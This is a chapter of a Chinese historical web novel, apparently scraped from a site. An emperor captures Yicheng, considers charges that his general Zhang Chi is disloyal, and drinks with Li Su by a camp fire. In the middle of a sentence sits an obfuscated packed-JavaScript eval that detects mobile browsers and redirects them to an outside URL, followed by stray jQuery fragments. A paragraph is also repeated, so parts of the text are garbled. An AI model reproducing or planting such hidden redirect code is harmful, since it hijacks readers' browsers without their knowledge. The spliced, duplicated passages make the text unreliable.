城头的烽烟渐渐熄了，墙楼荫蔽下，日影无声地转移，宣告着战事正式结束。


    其实，早在李肃杀上城楼时，战局就已经定下，随之大军闯入，迅速控制住城内各处，沂城守城的官兵很快迎来了溃败的结局。


    这一切的发生，不过才一炷香时间。


    沈行约已从方才那种按捺急躁的情绪中抽离出来，转变为战事尘埃落定后，近乎冷漠的镇静和从容。


    兵将在城中往来穿行，押运着一批又一批的俘虏，经过时战靴掷地，发出整齐有力的铿锵声。


    交代过几句后，沈行约命孙隆前往城中巡查，其余人也各自领命前去。


    沂城占地之大，规模足有数座城池连起来一般。


    在今日，攻城结束之前，孙隆带着手下的大军，已经在此地进攻了两日，而今一举拔城，能够在如此短的时间内攻下一处要地，这般战绩，属实振奋人心，全军上下都沉浸在一股无以言表的喜悦氛围中。


    城署内，孙隆回来禀了城中交接布防的情况，又有兵将带着一干人等候在门外。


    “陛下，这几人是负责城防的守将，这些是城内官员，方才粗审过了，目下，这群人欲投诚。陛下您看……”


    沈行约正看着晋北随军发来弹劾张叱的密报，闻言只挥了挥手：“将这些人先押下去安置。”


    “你看看吧，晋北来的密信。”


    等其余人退下后，沈行约将密报传下，经手下文官及两名军师手里传阅过，脸色登时变得凝重。


    最后，密报传至孙隆手里，孙隆细细看过，不由得皱眉，少有愠色道：“陛下，这……”


    信上写道，张叱在晋北利用权职之便，暗中与巨城、邑野两地官兵勾结。


    因军队沿途南下，相当于基本切断了晋北向京畿求援的近路，而通往西边，往来汴州的要道又被大叱占领着，巨城、邑野两地官兵顺势倒戈，名义上并未招降，还是朝中委任的治郡官兵，可暗地却与张叱配合，佯战谋利。


    各地战局动荡，当下，沈行约的首要目标全都放在了挥军直取京畿上。虽则他有着对全局的把控，可也不得不承认，在如此复杂环境下，管理军队必然会存在一定的局限性。


    正如一个人的精力是有限的，为求达到某种目标，自然会有所取舍。牺牲掉一些不足考虑的部分，才能将有限的时间和精力得以最大化的利用。


    因此，在张叱的问题上，沈行约本打算睁一只眼闭一只眼，不欲同他计较。可监军在信末还提到，张叱不仅在晋北大肆横征敛财，更与大叱往来频繁，其用意更是不言而喻。那时，沈行约将张叱调离中枢，也不是没有想过这一点。这才短短数月过去，张叱竟敢作出如此违逆之举，公然将心思用到这上头来，这倒是沈行约不曾料到的。


    座下，一名文官站出道：“陛下，张叱其人，行事一贯乖张无度，若密报内容属实，只怕此人早有不臣之心，不得不及早防范……”


    这件事的处理具有一定的敏感性，因而，余下之人大都沉吟不发。


    沈行约目光略一扫过，转而道：“军师是什么意见？”


    “陛下，张叱未经请奏，私下买通守官，暗中又与外族勾连，其心可诛，陛下不妨……以商讨军机之由，先将其召回，再作定夺。”


    一人话毕，另一位军师缓步上前，一拱袖道：“陛下，而今战事未定，军中正值用人之际，贸然召回只怕不妥，不妨以督军之名，往晋北调将，分割兵权，再对其调动军衔，明升暗降……”


    沈行约道：“你们觉得，军中还有谁可接任张叱的位置？”


    其实，只张叱一人的性命，杀与不杀都不算难事；可问题是，眼下不用张叱，谁又能在短时间内，接管晋北那边的烂摊子？


    而今，大军尚在拔进途中，军中将领本就不够，似乎再派谁去后方，都不大合适。


    况且，张叱之所以能在晋北的巨城、邑野一带站稳脚跟，除了他自身的筹谋与周旋外，沈行约怀疑，可能早在张淼选择归附以前，张叱就与晋州当地官员有所勾连也未可知。若派出个不经事的将领过去督军，未必会起到什么效用。


    沈行约思忖着眼下局势，料定张叱即便是有不臣之心，与外族合谋，势力范围不过晋州北岸，一时一刻，还掀不起什么风浪。


    半晌沉默，众人见他久不言声，还以为是龙颜触怒，各自屏气凝息，大气都不敢喘一下。


    而沈行约思索过后，却是召人伺候笔墨，修书一封，欲发往晋北，以示告诫之意。


    半晌沉默，众人见他久不言声，还以为是龙颜触怒，各自屏气凝息，大气都不敢喘一下。


    而沈行约思索过后，只是召人伺候笔墨，修书一封，欲发往晋北，以示告诫之意。


    恰好这时，益陵的消息传来。


    负责传信的驿兵上前禀报，益陵方面，军队已基本占领，不日便可往平饶进军。


    沈行约听到这个消息，面上终于露出难得的喜色。


    厅中气氛稍作缓和，沈行约询问过彭帜和梁猛两位将领恢复的情况，得知已无碍后，总算放下心来。


    一挥手，沈行约道：“传令军中，今夜备酒宴，犒赏将士。”


    沈行约治军纪律严明，行军途中，一直视禁酒为铁律。


    是以，这一道旨令下达，传至兵将耳中，不亚于一则喜讯。


    而沂城的规模不似其他城池，作为晋南的一处要地，夺下城后，还有一系列的安置问题。


    沈行约便又下令，军队在此休整一日，后日一早出发，并允了将士们半日的假。


    接连几个消息传出，全军上下欢欣鼓舞，都预备着今晚一醉方休。


    议厅内，沈行约交代过城防与交接诸事，孙隆是最后一个走的。


    众人陆续离开后，他一个人靠在椅背上，望着那一抹幽邃的烛火，感觉有些乏了。


    昨夜发生的事情，现下回想起来，竟还似梦一般。


    沈行约一手抬起，按了按额头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641607|161534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，涌上些莫名的滋味，旋即又甩了甩脑袋，强行将这念头从脑海中驱离出去。


    “陛下……”


    王福近前，将一盏热茶呈上，似是看出他的疲惫，哑声劝道：“军中宴饮时辰未到，陛下若是累了，不妨先去歇息。”


    沈行约稍一摆手，示意无事。


    沂城地处南境，已过五月，可入夜还是阴冷，沈行约膝前盖了层薄毯，倒也不觉什么，只是身边多了个王福，事无巨细，将他的饮食起居打理得井然有序，竟有点像从前，回到了宫里的日子。


    “充州，北地郡那边的情况怎么样？”


    沈行约喝了口茶，问道。


    王福被他问得一怔，目光稍抬，确认了沈行约是在朝他问话。


    作为御前伺候的近侍，不仅要学会察言观色，更要懂得分寸，做皇帝的第二双眼睛。而沈行约这般发问，无疑是拿王福当自己人看待，王福心下了然，便仔细回道：


    “听闻……北地郡杂胡频频抢掠边地，张淼将军与胡人交战，可那帮蛮夷擅长突袭，行踪又不定，这仗也始终打不出个眉目来……”


    说话间，王福暗瞧着他的脸色，声音渐渐低下去。


    沈行约放下茶盏，沉吟不语。


    案边放着一封御信，已经用漆封固好了，沈行约的视线落在那上面，想着送信的人选，末了转头道：


    “你去替朕跑一趟，亲自将这封信交到张叱手里。”


    黑差从帷幕的阴影里走出来，取了信，脚步却有些迟疑。


    “你只管去，”沈行约道：“朕身边这么多人，大军不日便要南下，还能出什么事不成？”


    黑差仍有些不放心，顿了顿，只留下一句话，让他提防军中降将，旋即转身而去。


    沈行约看着他的背影消失于夜幕中，感觉莫名其妙。


    直至夜深，军中宴饮，沈行约下到席间，与将士举杯同饮，才后知后觉地反应过来，他应当是指李肃。


    想过之后，依旧是不以为意。


    酒宴上，沈行约被众人拥簇着，饮了不少酒。


    碍于席间礼节，这群兵将怎么也放不开，只作亦步亦趋地敬奉。


    沈行约料想自己在这，众人喝得不能尽兴，便自寻了个清静去处，拿了个酒囊，到帐外一角的火堆旁坐下，望着月色，良久静默。


    不知何时，身后一道脚步声传来。


    那人从营帐另一边走过，影子照到沙地上，猝不及防地，沈行约抬起头，两人打了个照面。


    沈行约倒是无甚所谓，李肃一怔，转身便要走，又不知想到什么，脚步迟疑，反而折返回来，坐在了对面。


    两人对坐无言，李肃望向那快要燃尽的火堆，自顾自只是饮酒。


    对于他的失礼，沈行约倒也不恼，他已有言在先，今晚军中宴饮，平日一应礼节都可免了。


    许久后，李肃将壶中最后一口酒饮尽，终于抬眸问道：“昨夜回程途中，陛下撇下军队，究竟是去了哪？”